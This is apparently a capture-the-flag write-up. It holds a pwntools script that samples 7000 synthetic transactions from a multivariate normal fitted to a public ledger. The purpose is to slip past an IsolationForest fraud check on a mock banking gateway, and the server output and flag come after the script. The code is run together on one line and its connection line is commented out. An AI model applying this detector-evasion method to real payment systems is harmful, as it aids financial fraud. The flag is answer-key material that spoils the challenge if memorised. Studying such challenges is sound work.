import pandas as pdimport numpy as npfrom pwn import * df = pd.read_csv('public_ledger.csv')context.log_level = 'debug'# io = remote('IP', PORT) # 统计学建模mu = df.mean().valuessigma = df.cov().values # 收缩因子shrinkage_factor = 0.1# 样本总量num_samples = 7000  fake_data = np.random.multivariate_normal(mu, sigma * shrinkage_factor, num_samples) gen_df = pd.DataFrame(fake_data, columns=[f'feat_{i}' for i in range(20)]) total_amount = gen_df['feat_0'].sum()print(f"预估总金额 ${total_amount:.2f}") io.recvuntil(b"Waiting for CSV Data Stream (End with 'EOF')...")io.send(gen_df.to_csv(index=False).encode('utf-8'))io.send(b"\nEOF\n")io.interactive()

得到返回:

text
[--- SECURE BANKING GATEWAY v4.0 ---]Task: Transfer > $2,000,000.00Security: IsolationForest (Strict Mode)Constraints:1. No Transaction can be classified as Anomaly (-1).2. No Replay Attacks (Public data is blacklisted).3. No Duplicate Transactions.-------------------------------------Waiting for CSV Data Stream (End with 'EOF')...[-] Analyzing Statistical Distribution...Report: Value=$2,474,525.36 | Anomalies=0/7000[SUCCESS] Transaction Authorized.Flag: "flag{79081194-427f-4d3b-ae5d-7dce04fe5a90}"

FLAG

text
flag{79081194-427f-4d3b-ae5d-7dce04fe5a90}